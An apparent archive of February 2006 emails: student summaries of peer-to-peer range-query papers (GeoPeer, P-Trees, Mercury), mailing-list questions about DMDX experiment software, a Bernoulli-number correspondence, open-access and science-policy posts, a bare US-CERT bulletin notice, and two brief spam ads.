long range contact Management techniques (a key contribution of ""GeoPeer...""). ",0,0 Stevan Harnad ,,,Researcher pages in repositories,"Here are some commonsense replies to questions that have been raised repeatedly across the years: On Wed, 15 Feb 2006, Mary Steiner wrote: > Some repositories are starting to develop ""researcher pages"" or > ""selected works pages"" that feature the scholarship of an individual > (typically in addition to academic/research units). Regardless of > your IR platform, what is your policy with regard to these pages? It is of course an excellent policy for an institution to promote the research output of its researchers. The Dutch IRs are the most advanced in this regard. But the IRs primary function is to host digital documents, of which the primary target is research papers. Publicity and researcher pages and other ""views"" of the IR are spin-offs, not the mainstay (though very useful spin-offs). > Do researchers maintain the pages entirely on their own, including > uploading citations + full-text content? The logical and practical sequence is deposit in the IR and then extract views and harvest data, not vice versa. > If so, do you let them make the full-text work immediately available > on your repository, or is it vetted first for copyright compliance > (if appropriate)? This is the author's own work. Don't let your 3rd-party IP/permissions specialists mistake this for their territory! Author self-archiving is different, and authors don't need anyone looking over their shoulders (though they can use help and encouragement when they are vacillating -- as long as the advice and information given them is sound -- which it very, very rarely is!) > Do you provide any metadata improvements on what is submitted, > or take what is provided and leave it at that? Papers should be deposited with the standard metadata tags that the OAI-compliant IR softwares demand. Further ""improvements"" are optional and certainly should not retard or weigh down deposits (especially at a time when IRs still have very little content). > What is your approach if a researcher leaves your institution? Do > you leave the researcher page intact, with simply a note that the > person has left? Researcher pages are an institution's call. But the main target of an IR, the articles themselves, should certainly stay put, apart from updating metadata for the author's current affiliation. They are means of maximzing access to the author's work, and removing them when the author leaves is as absurd as removing books from a library's shelf. > Any insights or thoughts with regard to ""researcher pages"" in an > institutional repository are appreciated. Much thanks, Researcher pages should be generated ""views"" based on the content of the IR. But the IR itself is a repository for depositing research output (and other digital content). It should not be mixed up with home-page provision. And its publicizing functions are spin-offs; its primary function is to house the content, and the primary content is research output, pre- and postprints. Stevan Harnad ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Thu, 16 Feb 2006 11:42:09 -0600",Midterm #1,"CS352-ers, I wanted to remind you that midterm #1 is next Thursday, February 23. You are responsible for all material we have discussed in class thusfar including: - P&H chapter 1-5, 6.1-6.3 - including the assigned reading on the CD - Lectures and lecture notes - Homeworks You may use the following during the exam: - A study sheet consisting of a single 8 1/2 x 11 sheet of paper with whatever you wish to write on it (but no photoreduction). - A non-programmable calculator. - Pen/pencil/eraser. - Your brain. We will talk more about the exam on Tuesday. I also expect to use part of Tuesday as a review session, so please bring particular questions you would like to have answered or discussed in class. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Kevin ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 11:49:37 -0500",PAPER 7,"All of the systems we looked at today are different from what we have seen before. They discuss range queries: basically queries that specify a lower bound and an upper bound on some attribute and expect to see everything in the middle (well, not necessarily, you can specify different ranges, but the idea is the same). Geopeer builds a Delaunay triangulation system such that two nodes are neighbors if they are close in space. Space here can be longitude and latitude, therefore nodes are close in the system if they are close geographically. To keep latency down, long range contacts are also kept. Each node is responsible for a region of points. Overall GeoPeer seems like a fragile system. Since everything is based on geography, if part of the system goes down or there is latency on the east coast then many queries will be significantly slower. In the end, GeoPeer gets between log and log squared (in the total number of nodes) performance, which doesn't seem optimal. Mercury is a system that is built upon current ring-based DHTs. The idea is to have multiple logical rings that each represent one attribute. Each node is in one ring and has many pointers to its own ring (in a pre-specified distribution) in order to achieve good performance, and pointers to random other rings. A node is put into the ring not through a hash function but through a direct mapping to it. This is clearly a downside since the load balancing immediately suffers. Because of this, the authors come up with a scheme to load balance and keep the pointers in a correct distribution. The paper details how to get m+log squared routing performance out of their system. To retreive a specific range, a packet is routed to the node corresponding to the lower bound and then sequentially traverses the rest of the pointers in order to get at every intermediary node. To help with latency and flooding concerns, Mercury uses query selectivity to try to search based on the most selective part of the query. Mercury's worse than P-Trees performance leaves the system lacking. The only other major issue I have with it is its poor scaling with multiple attributes. P-trees are a database inspired range queries system that build upon B+ trees to acheive order log N performance. Each node keeps the left most path of its B+ tree, relying on other nodes in the system which collectively maintain the tree. This system, therefore, is a distributed tree instead of a distributed hash table. The system is order log N+m for routing complexity and order log N space at each paper. The system has a complex stabilization protocol and in general seems pretty complex. I would expect an actual real-world implementation to be unstable, not nearly as trivial as Gnutella or Pastry. Furthermore, I didn't see any clue as to how much overhead there was in maintaining the tree. ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 11:56:47 -0500",paper 8,"GEO-PEER it supports location-constrained queries and information dissemination. the previous systems that we have studied use random node identifiers which cannot represent a physical location. If node-ids are assigned on a geographical basis in previous systems, it would result in disrupting load balancing. BASIC STRUCTURE: the nodes are arranged to form a planar Delaunay triangulation network augmented with long range contacts(LRC). the characteristics of a Delaunay triangulation are the following : 1) expected O(1) node degree 2) good routing performance 3) distributed construction it has lower network diameter due to LRCs. a large number of messages are required for creating and maintaining the Delaunay triangulation. each node has a set of neighbors and maintains their alive status via beacon messages. each node P, based on its knowledge of its neighbors, computes the Delaunay triangle PMN and then sends a ""TRIANGULATE"" message about this information to both M and N. If the neighbors(M & N) agree with this assessment of P, a consistent set of ""TRIANGULATE"" messages are exchanged. in case of disagreement, a BREAKLINKS message is sent which causes the receiver to re-execute the local computation updating its local information ( BREAKLINKS contains the nodes whom the receiver should triangulate with as thought by the sender). node failure: when some neighbor of a failed node F detects the failure, it sends a FAILURE message to all its Delaynay neighbors. These neighbors,in turn if neighbors of F, correspondingly resend this message to their neighbors. This procedure ensures that all Delaunay neighbors of F become aware of its failure and the neighbors recompute the Delaunay triangle. Some other node P who was not the Delaunay neighbor of F can try to triangulate APF. This would result in storing the information about the failure of F forever. This problem is overcome by discarding info about F after the expiration of a timeout. when we have more than 3 co-circular nodes each node is the delaunay neighbor of the other. routing algorithm: the authors have suggested a greedy algorithm selecting that neighbor which is closest to the destination. they do point out that the algorithm is not ""competitive"". LRC: if routing was based on the greedy algorithm, lookups would be inefficient due to the large diameter of the network. the authors suggest mechanisms such as Hop level mechanism , hit count balancing methods, small world mechanism and e-CAN like mechanisms for LRC creation. hop-level mechanism represents a tree structure with base b and the level of a node is determined by its distance from the current node. to ensure that the hit-count counters do not diverge-they are halved periodically. P-TREES: efficiently evaluate range queries besides equality queries. cost for range queries: O(m+ lx N) lx represents log to base d m : number of peers in selected range N : number of peers d : order of P-tree space requirements at each node : O(d lx N) BASIC STRUCTURE: each node maintains parts of semi-independent B+ - trees. these parts represent the left-most root-to-leaf path of corresponding B+ -tree. P-trees differ from B+ trees as sub-trees have overlapping ranges allowing peers to independently grow or shrink their tree; thereby eliminating the need for excessive co-ordination and communication b/w peers (this is the TAKEAWAY FROM THIS PAPER) search : B+ -tree provides O(lx N) complexity. range queries are satisfied by reaching the lower bound first and then traversing along the ring. STATE MAINTENANCE : a ping process is used to check whether the node corresponding to the table entry has failed or not. the stabilize algorithm is used to stabilize each level at a time in increasing order of levels. the structure of the P-tree (i.e number of nodes at each level) is highly dependent on the number of nodes in the system currently for optimal performance. Thus, estimating the number of nodes in the system seems a consideration for optimal performance. MERCURY: performs multiple attribute based range queries as well as explicit load balancing. BASIC STRUCTURE: it handles multi-attribute queries by creating a routing hub for each attribute in the application schema assuming a small number of attributes. A hub is a logical collection of nodes in the system. each node in the hub is responsible for a certain range of the attribute which is represented by the hub. (a physical node can be part of multiple logical hubs but the authors do not discuss this idea) STORAGE REQUIREMENTS: 1) successor and predecessor links within the attribute hub 2) k long distance links for efficient intra-hub routing 3) one cross-link per hub for connecting to other hubs for better fault tolerance, the authors suggest more links for cross-hub and succ/pred nodes. a node randomly joins any hub initially. ROUTING: follows a greedy policy of selecting the closest link from its table. the protocol allows additional cached destinations to be added to the table. Random walks are used for propagating ""keep-alive"" messages ( no novelty here) LOAD BALANCING: in order to balance load, each node must estimate the load on other nodes in a distributed fashion. at each range in the value space, the load is estimated by a weighted average of its neighbor nodes preventing bias against low-density samples. However, their algorithm requires a lightly loaded node to gracefully leave its position and join a heavily loaded node thereby splitting the heavy load. in the real world, gracefully acceptance of heavy loads does not seem practical. (the heaviness of load on a node is determined by comparing it to the average load - but they mention no protocol for computing this average load) the authors also talk about query selectivity which essentially determines the order in which the conjunction of must be carried out. it talks about maintaining approximate histograms for each hub but a malicious cross-hub link could send wrong values during this estimation. in other words calculating this approximate value set seems difficult with malicious peers. ",0,0 """Carps I. Interstate"" ",Corey ,"Thu, 16 Feb 2006 07:35:44 -0400",Software,"Corel draw! just at best price Why pay big bucks? Create your OWN website now! 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Each peer has constant connectivity degree, and because of the long range nodes the bound on the routing hops is O(log^2 N) (small world networks). Choosing and maintaining the long range links is done using various schemes. Queries are answered by first sending them to the appropriate geographical region and then performing a local search. Problem arise in the case when the system cannot maintaining the triangulation under heavy churn. P-Trees: This work builds upon the B+ trees and the ability to perform range queries efficiently while using such a structure. P-Trees are basically a distributed index built on top of a p2p system like Chord, in which peers maintain parts of semi-independent B++ trees. Each peer is responsible for the left most path from itself to the root of the correspondnding B+ index. A query is routed to the lower value of the range using the index, and the whole range is then retrieved by walking on the neighbor pointers of the ring. The system does not scale well since there's an index for each attribute that one might want to index, therefore maintaining multiple indexes could be a major problem. The ping and stabilization protocols are rather complex and one would expect the system to perform poorly under churn. Mercury: The paper presents a routing protocol that supports multi-attribute range queries. In doing so, each attribute is associated with a routing hub, that is basically a ring of peers (a subset of all the peers in the system). Within each ring, data is placed contiguously therefore each node is responsible for a range of values. This has the downside that node joining must consider load ballancing constraints. Detecting load imballance is done using a random walk and relocation of nodes from regions of less load to ""hot"" regions. A node that joins is to be inserted such that it will take first half of the interval of a highly loaded node. The authors admit that their system does not scale with the increase in number of attributes. The scheme employed is very wasteful, in that the first hop is the one that chooses the hub, and then all the rest of the routing is done within that hub -- this means that if the attribute that will determine the hub to be chosen is not picked appropriately, consequent filtering will incurr a high cost. Tudor ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 12:51:38 -0500",PAPER 7,"Mercury is a scalable routing protocol for range queries by creating a set of routing hubs where a routing hub is a logical collection of nodes in the system and queries are passed to one of the hubs corresponding to the attributes that are being passed and a new data item is sent to all hubs for which it has an associated attribute. The routing protocol is implemented by first partitioning the nodes in the system into a circular contiguous overlay separated into groups called attribute hubs which are in fact logical partitions with each attribute hub corresponding to each each attribute. The logical partitions are called dimensions. When a node gets a query it resolves all queries in its range or else passes it on. Each node in the routing hub has a link to its predecessor and to its successor and also maintains a link to all other dimensions or hubs to support the selection of a range query for a set of attributes. Routing is done in a hub with the query entering the system at the point where the maximum value of the attribute is stored and then traversed link by link till it reaches a value of the attribute at a node that is lesser than the least value in the range query for the attribute. Also the node traversals are reduced by maintaining in its routing table a distance matrix that specify the nodes at a particular range distance from the node. All values that correspond to the data elements that match the query are selected. This design imposes two restrictions. Firstly since the each attribute has its own hub as the number of dimensions increase the links to be maintained increases. Secondly for range queries the advantages of distributed hash tables viz load balancing cannot be utilized since the node id should have a correlation with the range of the values. Mercury ensures load balancing by implementing load balancing by explicit load balancing by moving around nodes and changing the ranges of the nodes according to the load. Every hub in the system has a representative node and nodes join the system by querying it and then getting hub information from a set of representative nodes that represent each hub in the system. The new node chooses a hub at random and contacts members of that hub and inserts itself by taking half of the nodes range of values and used the nodes predecessor pointer as its own and the node as the successor pointer and changes the nodes predecessor pointer to itself thus adding itself the the network. It also copies the routing table from the old node. Another observation from this is that every new addition is a form of localized load balancing. If three or more successive nodes leave the system then the links in the nodes break down and till the sections are repaired certain sections of the queries would get affected that correspond to the broken links. P-Tree The paper deals with a peer to peer network like Mercury that evaluates range queries in addition to equality queries using P-Trees. A P-trees is a spatial access method that defines hyperplanes, in addition to the orthogonal dimensions, which node boundaries may parallel. It can also be imagined to be a collection of b+ trees at every node with each b+ tree corresponding to a range of values. The sub trees have overlapping values indexed by multiple sub trees that helps in reducing excessive co-ordination between the nodes. The P-tree network implements routing different from Mercury in the sense that it also tries to start from a maximum value for the search by first looking for the farthest away pointer that does not overshoot the lower bound of the search and then proceeds from there node by node for each successor till it reaches the lower bound and searches for values till it just crosses the upper bound specified in the rang query. The behaviour of P-Trees is similar to B+ Trees and when consistent would involve logN to the base b. Node insertions are performed by contacting existing nodes and determining the position of the new node and taking the predecessor's pointer and changing the predecessor's pointer to its own. Node deletions are automatically taken care of by two processes called Ping process and stablization process. In the Ping process checks at periodic intervals for node failures or deletions and they are detected and then used by the stablization process where the network is repaired. Geo Peer This paper mainly deals with the scalability of networks of stationary nodes and how support can be provided to very large scale location aware systems. GeoPeer is a location aware Peer to Peer network that supports location constrained queries and information dissemination also taking into account the unbalanced distribution of nodes in the geographic area. It is based on a concept defined as geographic ping that works by storing the path to a request that is made periodical and then using the path for subsequent requests thus bypassing the next queries for the same object. This would be equivalent to caching the address of the objects instead of querying for it. Geo Peer uses a Delaunay triangulation for the topology and routing is done by a neighbour discovery process and choosing an angle in the direction of the destination node with the angle that it makes with the destination node being reduced with each jump from node to node. Thus it can be also imagined as a control system that oscillates around its mean as it flows along time. Thus this algorithm can be changed by making jumps that decrease the angles in proportion to the slope. Also this algorithm uses a concept of Long range contacts that are addresses in its routing table that point to nodes that are at a distance. It implements this using three mechanisms, the first of which the Hop level mechanism looks at the number of hops it has made so far in its search and if the number of hops exceed a certain value it stores the current node in its routing table and again starts the search from that node. Thus for all further queries that are in the same region in space the queries can start from that node. Geo peer implements this routing mechanism by not taking random hashes for node id’s but making hashes that have a correlation with the node location. This algorithm can be further improved by taking hashes that include a distance metric in its hash function and would help in making the finger pointer tables more meaningful. This paper also discusses ab ining statistics about the hits via hit counters whose values are used to adjust the node distribution. ",0,0 Walter van Heuven ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Feb 2006 20:02:21 +0000",[DMDX] Display errors and delay parameter,"Hi all, I am testing the following DMDX code using DMDX 3.1.4.4. +001 / ""#######"" / ""prime1"" / * ""TARGET1""; +002 / ""#######"" / ""prime2"" / * ""TARGET2""; +003 / ""#######"" / ""prime3"" / * ""TARGET3""; +004 / ""#######"" / ""prime4"" / * ""TARGET4""; $ 0 ""THE END""; $ When I run this code I get display errors for each item: Item RT COT 3 -2000.00 0.00 ! Display error at msec 4105.97, tick 345 in item 2, frame """" ! moved into video memory 132 ticks late ! (previous frame's duration will have been longer) 2 -2000.00 3588.56 ! Display error at msec 7694.17, tick 650 in item 1, frame """" ! moved into video memory 132 ticks late ! (previous frame's duration will have been longer) However, when I remove from the parameter line the display errors disappear! refresh 11.77ms Item RT COT 1 -2000.00 0.00 3 -2000.00 4047.43 4 -2000.00 8094.86 2 -2000.00 12142.29 The display errors reappear however when I remove from each item and put on the parameter line. I don't understand this. The display errors also disappear when I remove from each item and change the on parameter line to ! Can somebody explain this behavior? Thanks, Walter",0,0 Ymir Vigfusson ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 13:07:13 -0500",PAPER 7,"GeoPeer is a location-aware peer-to-peer architecture. Instead of using distributed hash tables to and equating a hashed identifier to position, it creates a geographical network and uses machinery to find long range contacts (LRCs) in order to keep the network diameter small. The process of self-organization used in GeoPeer network is done by maintaining a Delaunay triangulation of the geography of the physical network (meaning that the circumcircles of triangles do not contain any of the nodes in the network, essentially the dual of Voronoi cells). Furthermore, for each point in the space there is exactly one responsible node. What we get is a geometric partition of the network where nodes are assigned authority over physically nearby areas (the Voronoi cell), instead of the identifier ranges as in the DHT P2P networks. This means that maintenance of the network is done by exchanging messages with your geographic neighbours. The paper talks about the details of the coordination required for dynamic triangulation (node arrivals and departures and corresponding division of space), which is complicated by the fact that nodes could have different views of the network topology. So far, the use of Delaunay does not keep the network diameter small. GeoPeer tries to battle this by comparing four different ways of providing long range contacts. The ones that seemed to be experimentally worse were the Hit count balancing mechanism where you count how often LRC links are used, and override the ones that are not much used, and the Small-world mechanism where we divide the space into squares and randomly connect squares according to an r-harmonic probability distribution. The ones that turned out better were Hop level mechanism where you shortcuts are created on commonly used paths (so we can take bigger steps later), and an eCAN-like recursive division of the space into four spaces and randomly connecting nodes in one square to two of the other. Routing in GeoPeer then is done by a greedy algorithm. The paper lacks theoretical models and proofs, and only shows empirically that the diameter is kept at about log(n) to log^2(n). It seems to me that densily populated areas in the world would be less suspectible to large traffic than intermediate nodes between population clusters. The P-Tree paper talks about an index structure for peer-to-peer substrates that enables one to do range queries. At current, DHT based systems allow for locating of data using only equality lookups. The main idea in the paper is that B+-trees can be distributed in a semi-independent yet fault-tolerant fashion (called P-trees) among nodes so that range queries cost only O(m + log_d n) messages, where m is the number of peers in the range, d is the order of the P-trees and n is the number of nodes in the system. (Or as the authors describe it: ""a non-trivial adaptation of Chord to skewed data distributions."") The size of P-trees stored on a node is O(d log_d n). Basically, a peer stores and maintains the leftmost root-to-leaf path of its corresponding B+ tree, and keeps track of pointers to other peers to complete the missing subtrees. It is important to notice that to get fault-tolerance we require some level of redundency, so subtrees have overlapping ranges and data values can be indexed by multiple subtrees. The paper describes the required properties and time/space/reliability guarantees in details for network maintenance and search, along with proofs. Two of the properties are coverage and separation, respectively ensuring that no values are missing in the index, and that subtrees are not too far apart. The properties are maintained by two processes, the Ping Process which detects inconsistencies in the network, and the Stabilization Process which repairs them bottom-up. The paper also includes experimental evaluation of the P-trees. As for a downside, most of the theorems talk about guarantees in a stable network, or eventual consistency. It is not clear how efficient the protocol is when the network has high churn. ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 16 Feb 2006 15:34:20 -0500","US-CERT Cyber Security Bulletin SB06-047 -- Summary of Security Items from February 9 through February 15, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from February 9 through February 15, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from February 9 through February 15, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ/Tg7n0pj593lg50AQJxQgf9EGEkYQ9rKllHaOUP/vleTj17ZB5dqcgY 2d019dTnFXdJ3t7D3MA4+iD/X6m5QAMIL9fxuzgpfItCUCsKig3fr8AtMzS6nq5A PxziitMOcQLsH6R1rpddSBbyzj996runy/MiChtWi3gT7aKroiXDu0IIzOiO7G64 qattlcLKmig64TfZWbMhBp260wL5NJgmDATpu8XZysoSoraFiHygQ7R0zZrSKvfY Zv7KT2nuTS1MrVd+y908FJk59okRXqoUrgOp7LKt0U+NyQM/yUTXMjd3lsXDuI3a WBGn+JS5ydKtW/HRAUR1d+1rK/1SIzGaHs0eJiLHpch309wRmKXsIg== =MAgu -----END PGP SIGNATURE-----",0,1 Barry Smith ,William Stein ,"Thu, 16 Feb 2006 16:14:37 -0800",Re: bernfrac,"Hi, Thanks for your previous e-mail about bernfrac. I found your talk today very interesting. I have a couple of results whereby I can calculate class numbers of cyclic cubic fields of prime conductor p for primes p of the form p = (a^2 + 27)/4 and of the form p = (1 + 27*b^2)/4 if I can compute a couple of Bernoulli numbers. In particular, in the first case, the class number h is characterized by the congruence h \\equiv -3/2 B_{r}/r B_{2*r}/(2*r) mod p where r is (p-1)/3 and in the second case, h \\equiv -1/18 B_{r}/r B_{2*r}/(2*r) mod p where r is (p-1)/3. I have been toying with the idea of making a big table of class numbers, but I am not very tech savvy and I have a lot to work on as it is. Also, I have been wondering if calculating the inverses of numbers mod p would be any faster than the usual algorithm using the following algorithm: if you want the inverse of a mod p, run the Euclidean algorithm with a*p + 1 and p^2 as your starting values instead of a and p. The first remainder you get that is less than p is the inverse of a mod p. It saves you the trouble of having to backtrack once you find that the GCD of a,p is 1, but on the other hand, you have to make a comparison of the remainder with p at each step. The number of steps to reach the inverse in my method can be shown to be the same as the number of steps to reach the GCD when running the Euclidean algorithm with a and p. Of course, the original algorithm is so fast that I don't suppose it matters. I just think mine is charming, and a little mysterious. Best Regards, Barry On 1/8/06, William Stein wrote: > Barry, > > The PARI command is bernfrac. For smallish k it computes B_k very quickly, > where smallish means < 20000, say. For k = 100000 it takes just over a minute > to compute B_100000, which is a number with over 370000 decimal digits. > See http://modular.ucsd.edu/edu/fall05/168/projects/ for a student project > about this. > > -- William >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Feb 2006 18:11:23 -0700",[DMDX] Re: Display errors and delay parameter,"At 08:02 PM 2/16/2006 +0000, you wrote: >However, when I remove from the parameter line the display >errors disappear! Right, you're not asking it schedule an item to be displayed in exactly 40 ticks from the end of the last one. And if DMDX is sitting around waiting for an RT for 2000ms it's certainly not going to be able to get around to displaying the next item in 40 ticks. >refresh 11.77ms > Item RT COT > 1 -2000.00 0.00 > 3 -2000.00 4047.43 > 4 -2000.00 8094.86 > 2 -2000.00 12142.29 > >The display errors reappear however when I remove from >each item and put on the parameter line. I don't understand >this. The display errors also disappear when I remove from >each item and change the on parameter line to ! Can >somebody explain this behavior? Don't use unless you need it. If you do read the timing notes carefully: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive.",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Thu, 16 Feb 2006 18:43:53 -0600",Office hours on Friday,"Hi, I will hold office hours this Friday, 17th Feb 2006, from 1:00-2:00PM at ESB 229. I will also hold my regular office hours next week on Monday and Wednesday. Mail me if you need some help with the materials for mid-term but cannot make it to my office hours. Thanks. Madhavi ",0,0 Gary ,'Dolores' ,"Thu, 16 Feb 2006 15:59:56 -0400",Sperm pill that works ," Hi friend: We have quality product to help you Enjoy better sex life. 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However, given a specific prime of one of these two forms, only two Bernoulli numbers need to be calculated mod p to determine the class number, so most of the Bernoulli numbers are not needed. Perhaps Joe Buhler's algorithm could do this quickly. Also, I hope to extend these results someday to give congruences for class numbers of fields of higher degree than 3. This is a good excuse to commence work on that project. By the way, I was wondering on the way home how efficient it would be to calculate B_{n} by interpolating the sums of the nth powers of the first k natural numbers for k=1 to n+1 with an n+1 degree polynomial and read of the constant coefficient. I suppose these sums might involve too many computations. Barry On 2/16/06, William Stein < wstein@ucsd.edu> wrote: > > On Thursday 16 February 2006 16:14, you wrote: > > Thanks for your previous e-mail about bernfrac. I found your talk > > today very interesting. I have a couple of results whereby I can > > calculate class numbers of cyclic cubic fields of prime conductor p > > for primes p of the form p = (a^2 + 27)/4 and of the form p = (1 + > > 27*b^2)/4 if I can compute a couple of Bernoulli numbers. In > > particular, in the first case, the class number h is characterized by > > the congruence > > > > h \\equiv -3/2 B_{r}/r B_{2*r}/(2*r) mod p where r is (p-1)/3 > > > > and in the second case, > > > > h \\equiv -1/18 B_{r}/r B_{2*r}/(2*r) mod p where r is (p-1)/3. > > > > I have been toying with the idea of making a big table of class > > numbers, but I am not very tech savvy and I have a lot to work on as > > it is. > > Cool. This is exactly the sort of thing I hoped you'd get interested > in when I saw your talks. We can do something together, since it > might be a nice application of the table of B_k for all k < 10^5 that > I'm computing right now (and which will be done in a day, since the > computer is computing above 95000 right now). > > > Also, I have been wondering if calculating the inverses of numbers mod > > p would be any faster than the usual algorithm using the following > > algorithm: > > if you want the inverse of a mod p, run the Euclidean algorithm with > > a*p + 1 and p^2 as your starting values instead of a and p. The first > > remainder you get that is less than p is the inverse of a mod p. It > > saves you the trouble of having to backtrack once you find that the > > GCD of a,p is 1, but on the other hand, you have to make a comparison > > of the remainder with p at each step. The number of steps to reach > > the inverse in my method can be shown to be the same as the number of > > steps to reach the GCD when running the Euclidean algorithm with a and > > p. Of course, the original algorithm is so fast that I don't suppose > > it matters. I just think mine is charming, and a little mysterious. > > I don't know. It would be fun to implement just to watch it run. > There are also supposedly subquadratic asymptotically fast (x)gcd > algorithms, which might be relevant to the above. I just don't > know. Explaining your algorithm would be a really good idea for > the graduate student research seminar. I'm trying to find some students > to talk so I can start it up again. (I didn't do it in January since > I was busy preparing for SAGE days.) > > William >",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Thu, 16 Feb 2006 20:40:56 -0500",EPA Continues To Screen All Interviews With Scientists,"[Forwarding from the OMBWatch Access list. --Peter.] http://www.peer.org/news/news_id.php?row_id=645 Public Employees for Environmental Responsibility News Release ( www.peer.org ) For Immediate Release: February 15, 2006 Contact: Chas Offutt (202) 265-7337 EPA CONTINUES TO SCREEN ALL INTERVIEWS WITH SCIENTISTS ­ EPA Will Not Match “Open Science” Policies Adopted at NASA and NOAA Washington, DC ­Despite growing concerns about political interference with science, the U.S. Environmental Protection Agency is requiring prior headquarters approval for all communications by its scientists with the media, according to an agency email released today by Public Employees for Environmental Responsibility (PEER). EPA’s stance of screening all press interviews is at variance with recent pronouncements of scientific openness by two of its sister agencies, the National Oceanic and Atmospheric Administration (NOAA) and the National Aeronautics and Space Administration (NASA). In a February 9, 2006 email to all staff, Ann Brown the News Director for the agency’s science arm, the Office of Research and Development (ORD), admonished – “We are asked to remind all employees that EPA's standard media procedure is to refer all media queries regarding ORD to Ann Brown, ORD News Director, prior to agreeing to or conducting any interviews…Support for this policy also will allow reasonable time for appropriate management response.” By contrast, less than a week earlier on February 4, 2006, NASA Administrator Michael Griffin sent an all-employee email in which he committed the agency to “open scientific and technical inquiry and dialogue with the public.” Griffin stated, “It is not the job of public affairs officers to alter, filter or adjust engineering or scientific material produced by NASA's technical staff.” Yesterday, in a Valentine Day message to all staff, NOAA Administrator Conrad Lautenbacher wrote: “Our media standards also reflect an open policy. We encourage our public affairs staff to keep abreast of media interests. I encourage our scientists to speak freely and openly. Dozens of you every day are talking to the media and providing the results of peer reviewed science across a wide variety of NOAA topics. We ask only that you specify when you are communicating personal views and when you are characterizing your work as part of your specific contribution to NOAA’s mission.” “Why are scientists at NASA free to answer questions about global warming while their colleagues at EPA are not?” asked PEER Executive Director Jeff Ruch. “Science does not come in Republican or Democratic flavors; scientists should be able to discuss findings without having to check whether facts comport with management policy.” Scientists often fall outside the coverage of whistleblower protection laws and thus, scientists who violate agency gag rules may be punished for insubordination. Corrective legislation (HR 839 by Representative Waxman and S 1358 by Senator Richard Durbin) that would grant scientists the right to openly discuss their findings is pending before both houses of Congress. Ironically, at the same time that it is restricting media contacts with scientists, EPA itself is engaged in an aggressive public relations effort called “Science for You” that promotes the importance of the scientific research being conducted at the agency. ### Read the EPA email Compare it with the NASA Open Science policy statement See the NOAA Administrator Conrad Lautenbacher’s Open Science message Look at the roll-out for EPA’s “Science for You” public relations initiative Revisit other EPA gag orders to its staff ---",0,1 Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 12:04:37 -0500",Paper 7," ""GeoPeer: A Location-Aware Peer-to-Peer System"" presents a system which can easily support location-aware services. ""Querying Peer-to-Peer Networks Using P-Trees"" presents an index structure called P-tree, which efficiently provides range queries while ""Mercury: Supporting Scalable Multi-Attribute range Queries"" presents a system other than DHT to support efficient multi-attribute range queries. Geopeer is a system which supports location-aware operations. It uses Delaunay triangulation as the basic routing structure. The identification of nodes is correlated to the node location, so the queries and broadcast can be easily implemented as location-aware operation. It also uses a light-weight and effective schemes to manage long-range contacts to improve performance by keeping low diameter of the network. This system is different than the next two papers. This paper focuses on location-aware operations while the other two papers focus on range search in peer-to-peer systems. P-tree uses a similar indexing structure as B+-tree in database on top of DHT to provide efficient range query. The search keys lay in a circular logical space. Also, each P-tree node stores only the left-most root-to-leaf path of the B+-tree, and relies on other node to complete the rest of the B+-tree. Using search a structure, it provides O(logN) search performance. In addition, the range queries can be answer efficiently by looking at the smallest value in the range, and then scanning the search key in the ring clockwise. Since the structure allows peer insertion, deletion and failures, P-tree nodes have to allow local inconsistency. Under local inconsistency, it still allows search to proceed correctly with degradation in performance. But with the Ping Process and Stabilization Process, it will eventually transform the P-tree back into consistency state. However, P-tree does not store values which are close together into the same node, and it may require one hope to get to other node to retrieve each data in the range query. Mercury is a system which supports scalable multi-attribute range query. It builds a completely new structure called Mercury which uses many similar techniques in DHT. Mercury does not use DHT as underlying structure because in DHT the hash of a range is not correlated to the hash of the values. Mercury uses a hub, logical ring-based structure, for each attribute in a query. Each query will be routed in one of the hub depending on the query selectivity on each attribute. Each node is corresponded to a range of values in each hub. Since Mercury does not use hash of the key to provide load-balancing and usually the search key space is not uniformly distributed, it has to uses some other techniques to provide load-balancing. If there is a highly uneven node in the network, it will leave the hub and rejoin in highly dense range to split the load. To provide performance, it also has long range links similar to the one in Symphony with knowledge of node distribution. To gather statistic of load distribution, node distribution and query selectivity, it uses random sampling of nodes to estimate the distributions. This structure is better than P-tree because values which are close together will be stored in the same node and the lookup will be more efficient. ",0,0 Rich Preville ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Feb 2006 06:11:01 -0500",[DMDX] USB-PIO24/37 output,"Jonathan, Where can I find a tutorial, including sample item files, stepping through the process for sending a -5V pulse from the USB-PIO24/37? Thanks in advance for any advice, Rich ",0,0 C A Ankerstein ,DMDX mailing list ,"Fri, 17 Feb 2006 13:08:40 +0000",[DMDX] paired presentation of pictures and sound,"Hi All, is there any way I can get DMDX to present pictures and sound simultaneously?? I got it to present one after the other so to speak using: +1*""test""/ ""barrel""/; +2*""test2""/ ""watermelon""/; and +1* ""barrel""/ ""test""/; +2* ""watermelon""/ ""test2""/ ; But with the first option, the sound begins before the picture is presented and in the second option, the picture is present before the sound starts. So how can I, if possible, get them to come on at the same time and for the picture to remain on screen during the wav file? While I'm here, I have another question regarding timing. The sound files are all different lengths--will 